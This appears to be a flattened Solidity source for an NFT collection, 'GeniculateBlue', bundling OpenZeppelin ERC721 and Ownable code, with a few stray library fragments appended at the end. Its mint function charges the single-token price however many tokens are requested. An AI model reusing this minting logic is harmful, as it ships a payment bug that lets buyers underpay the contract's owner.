@openzeppelin/contracts/utils/EnumerableSet.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // File: @openzeppelin/contracts/utils/EnumerableMap.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing an enumerable variant of Solidity's * https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`] * type. * * Maps have the following properties: * * - Entries are added, removed, and checked for existence in constant time * (O(1)). * - Entries are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableMap for EnumerableMap.UintToAddressMap; * * // Declare a set state variable * EnumerableMap.UintToAddressMap private myMap; * } * ``` * * As of v3.0.0, only maps of type `uint256 -> address` (`UintToAddressMap`) are * supported. */ library EnumerableMap { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Map type with // bytes32 keys and values. // The Map implementation uses private functions, and user-facing // implementations (such as Uint256ToAddressMap) are just wrappers around // the underlying Map. // This means that we can only create new EnumerableMaps for types that fit // in bytes32. struct MapEntry { bytes32 _key; bytes32 _value; } struct Map { // Storage of map keys and values MapEntry[] _entries; // Position of the entry defined by a key in the `entries` array, plus 1 // because index 0 means a key is not in the map. mapping (bytes32 => uint256) _indexes; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) { // Equivalent to !contains(map, key) map._entries.push(MapEntry({ _key: key, _value: value })); // The entry is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value map._indexes[key] = map._entries.length; return true; } else { map._entries[keyIndex - 1]._value = value; return false; } } /** * @dev Removes a key-value pair from a map. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function _remove(Map storage map, bytes32 key) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex != 0) { // Equivalent to contains(map, key) // To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one // in the array, and then remove the last entry (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = keyIndex - 1; uint256 lastIndex = map._entries.length - 1; // When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. MapEntry storage lastEntry = map._entries[lastIndex]; // Move the last entry to the index where the entry to delete is map._entries[toDeleteIndex] = lastEntry; // Update the index for the moved entry map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved entry was stored map._entries.pop(); // Delete the index for the deleted slot delete map._indexes[key]; return true; } else { return false; } } /** * @dev Returns true if the key is in the map. O(1). */ function _contains(Map storage map, bytes32 key) private view returns (bool) { return map._indexes[key] != 0; } /** * @dev Returns the number of key-value pairs in the map. O(1). */ function _length(Map storage map) private view returns (uint256) { return map._entries.length; } /** * @dev Returns the key-value pair stored at position `index` in the map. O(1). * * Note that there are no guarantees on the ordering of entries inside the * array, and it may change when more entries are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) { require(map._entries.length > index, "EnumerableMap: index out of bounds"); MapEntry storage entry = map._entries[index]; return (entry._key, entry._value); } /** * @dev Tries to returns the value associated with `key`. O(1). * Does not revert if `key` is not in the map. */ function _tryGet(Map storage map, bytes32 key) private view returns (bool, bytes32) { uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) return (false, 0); // Equivalent to contains(map, key) return (true, map._entries[keyIndex - 1]._value); // All indexes are 1-based } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function _get(Map storage map, bytes32 key) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, "EnumerableMap: nonexistent key"); // Equivalent to contains(map, key) return map._entries[keyIndex - 1]._value; // All indexes are 1-based } /** * @dev Same as {_get}, with a custom error message when `key` is not in the map. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {_tryGet}. */ function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key) return map._entries[keyIndex - 1]._value; // All indexes are 1-based } // UintToAddressMap struct UintToAddressMap { Map _inner; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) { return _set(map._inner, bytes32(key), bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) { return _remove(map._inner, bytes32(key)); } /** * @dev Returns true if the key is in the map. O(1). */ function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) { return _contains(map._inner, bytes32(key)); } /** * @dev Returns the number of elements in the map. O(1). */ function length(UintToAddressMap storage map) internal view returns (uint256) { return _length(map._inner); } /** * @dev Returns the element stored at position `index` in the set. O(1). * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) { (bytes32 key, bytes32 value) = _at(map._inner, index); return (uint256(key), address(uint160(uint256(value)))); } /** * @dev Tries to returns the value associated with `key`. O(1). * Does not revert if `key` is not in the map. * * _Available since v3.4._ */ function tryGet(UintToAddressMap storage map, uint256 key) internal view returns (bool, address) { (bool success, bytes32 value) = _tryGet(map._inner, bytes32(key)); return (success, address(uint160(uint256(value)))); } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function get(UintToAddressMap storage map, uint256 key) internal view returns (address) { return address(uint160(uint256(_get(map._inner, bytes32(key))))); } /** * @dev Same as {get}, with a custom error message when `key` is not in the map. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryGet}. */ function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) { return address(uint160(uint256(_get(map._inner, bytes32(key), errorMessage)))); } } // File: @openzeppelin/contracts/utils/Strings.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev String operations. */ library Strings { /** * @dev Converts a `uint256` to its ASCII `string` representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); uint256 index = digits - 1; temp = value; while (temp != 0) { buffer[index--] = bytes1(uint8(48 + temp % 10)); temp /= 10; } return string(buffer); } } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol pragma solidity >=0.6.0 <0.8.0; /** * @title ERC721 Non-Fungible Token Standard basic implementation * @dev see https://eips.ethereum.org/EIPS/eip-721 */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using SafeMath for uint256; using Address for address; using EnumerableSet for EnumerableSet.UintSet; using EnumerableMap for EnumerableMap.UintToAddressMap; using Strings for uint256; // Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` // which can be also obtained as `IERC721Receiver(0).onERC721Received.selector` bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; // Mapping from holder address to their (enumerable) set of owned tokens mapping (address => EnumerableSet.UintSet) private _holderTokens; // Enumerable mapping from token ids to their owners EnumerableMap.UintToAddressMap private _tokenOwners; // Mapping from token ID to approved address mapping (uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; // Token name string private _name; // Token symbol string private _symbol; // Optional mapping for token URIs mapping (uint256 => string) private _tokenURIs; // Base URI string private _baseURI; /* * bytes4(keccak256('balanceOf(address)')) == 0x70a08231 * bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e * bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3 * bytes4(keccak256('getApproved(uint256)')) == 0x081812fc * bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465 * bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5 * bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd * bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e * bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde * * => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^ * 0xa22cb465 ^ 0xe985e9c5 ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd */ bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd; /* * bytes4(keccak256('name()')) == 0x06fdde03 * bytes4(keccak256('symbol()')) == 0x95d89b41 * bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd * * => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f */ bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f; /* * bytes4(keccak256('totalSupply()')) == 0x18160ddd * bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59 * bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7 * * => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63 */ bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(_INTERFACE_ID_ERC721); _registerInterface(_INTERFACE_ID_ERC721_METADATA); _registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _holderTokens[owner].length(); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token"); } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; string memory base = baseURI(); // If there is no base URI, return the token URI. if (bytes(base).length == 0) { return _tokenURI; } // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked). if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(base, _tokenURI)); } // If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI. return string(abi.encodePacked(base, tokenId.toString())); } /** * @dev Returns the base URI set via {_setBaseURI}. This will be * automatically added as a prefix in {tokenURI} to each token's URI, or * to the token ID if no specific URI is set for that token ID. */ function baseURI() public view virtual returns (string memory) { return _baseURI; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { return _holderTokens[owner].at(index); } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { // _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds return _tokenOwners.length(); } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { (uint256 tokenId, ) = _tokenOwners.at(index); return tokenId; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner || ERC721.isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom(address from, address to, uint256 tokenId) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _tokenOwners.contains(tokenId); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || ERC721.isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: d* * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual { _mint(to, tokenId); require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); // internal owner _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); // Clear metadata (if any) if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } _holderTokens[owner].remove(tokenId); _tokenOwners.remove(tokenId); emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer(address from, address to, uint256 tokenId) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); // internal owner require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _holderTokens[from].remove(tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(from, to, tokenId); } /** * @dev Sets `_tokenURI` as the tokenURI of `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; } /** * @dev Internal function to set the base URI for all token IDs. It is * automatically added as a prefix to the value returned in {tokenURI}, * or to the token ID if {tokenURI} is empty. */ function _setBaseURI(string memory baseURI_) internal virtual { _baseURI = baseURI_; } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { if (!to.isContract()) { return true; } bytes memory returndata = to.functionCall(abi.encodeWithSelector( IERC721Receiver(to).onERC721Received.selector, _msgSender(), from, tokenId, _data ), "ERC721: transfer to non ERC721Receiver implementer"); bytes4 retval = abi.decode(returndata, (bytes4)); return (retval == _ERC721_RECEIVED); } /** * @dev Approve `to` to operate on `tokenId` * * Emits an {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); // internal owner } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /* _______ _______ __ _ ___ _______ __ __ ___ _______ _______ _______ _______ ___ __ __ _______ | || || | | || | | || | | || | | _ || || | | _ || | | | | || | | ___|| ___|| |_| || | | || | | || | | |_| ||_ _|| ___| | |_| || | | | | || ___| | | __ | |___ | || | | || |_| || | | | | | | |___ | || | | |_| || |___ | || || ___|| _ || | | _|| || |___ | | | | | ___| | _ | | |___ | || ___| | |_| || |___ | | | || | | |_ | || || _ | | | | |___ | |_| || || || |___ |_______||_______||_| |__||___| |_______||_______||_______||__| |__| |___| |_______| |_______||_______||_______||_______| */ pragma solidity ^0.7.0; contract GeniculateBlue is ERC721, Ownable { constructor() ERC721("Geniculate Blue", "LGN") {} using SafeMath for uint256; uint256 public constant nftPrice = 550000000000000000; uint public constant MAX_PURCHASE = 11; uint256 public constant MAX_MAIN = 475; bool public saleIsActive = false; uint public teamReserve = 15; function withdraw() public onlyOwner { uint balance = address(this).balance; msg.sender.transfer(balance); } function setBaseURI(string memory baseURI) public onlyOwner { _setBaseURI(baseURI); } function flipSaleState() public onlyOwner { saleIsActive = !saleIsActive; } function reserve(address _to, uint256 _reserveAmount) public onlyOwner { uint supply = totalSupply(); require(_reserveAmount > 0 && _reserveAmount <= teamReserve, "More."); for (uint i = 0; i < _reserveAmount; i++) { _safeMint(_to, supply + i); } teamReserve = teamReserve.sub(_reserveAmount); } function mint(uint _numberOfTokens) public payable { require(saleIsActive, "Not Active."); require(_numberOfTokens <= MAX_PURCHASE, "Exceeded limit."); require(totalSupply().add(_numberOfTokens) <= MAX_MAIN, "Too many minted."); require(msg.value >= nftPrice, "More Ethereum."); for(uint i = 0; i < _numberOfTokens; i++) { uint mintIndex = totalSupply(); if (totalSupply() < MAX_MAIN) { _safeMint(msg.sender, mintIndex); } } } string public mintedCode; bool public isReconstructed = false; mapping (uint256 => string) public geniculateSeeds; mapping (uint256 => bool) public seedSet; mapping (uint => string) public mintedColors; event SeedWritten (uint256 indexed nameIndex, string newName); function setSeed(uint256 _tokenId, string calldata currName) public { address owner = ownerOf(_tokenId); require(msg.sender == owner, "Incorrect."); require(seedSet[_tokenId] == false, "Name given."); seedSet[_tokenId] = true; geniculateSeeds[_tokenId] = currName; emit SeedWritten(_tokenId, currName); } function viewSeed(uint _tokenId) public view returns(string memory){ return geniculateSeeds[_tokenId]; } function setCode(string calldata currName) public onlyOwner { mintedCode = currName; } function viewCode() public view returns(string memory) { return mintedCode; } function setColors(uint palette, string calldata palette_param) public onlyOwner { mintedColors[palette] = palette_param; } function viewColors(uint palette) public view returns(string memory) { return mintedColors[palette]; } }
Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), reverting with custom message when dividing by zero. CAUTION: This function is deprecated because it requires allocating memory for the error message unnecessarily. For custom revert reasons use {tryMod}. Counterpart to Solidity's `%` operator. This function uses a `revert` opcode (which leaves remaining gas untouched) while Solidity uses an invalid opcode to revert (consuming all remaining gas). Requirements: - The divisor cannot be zero./
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; }
2,048,085
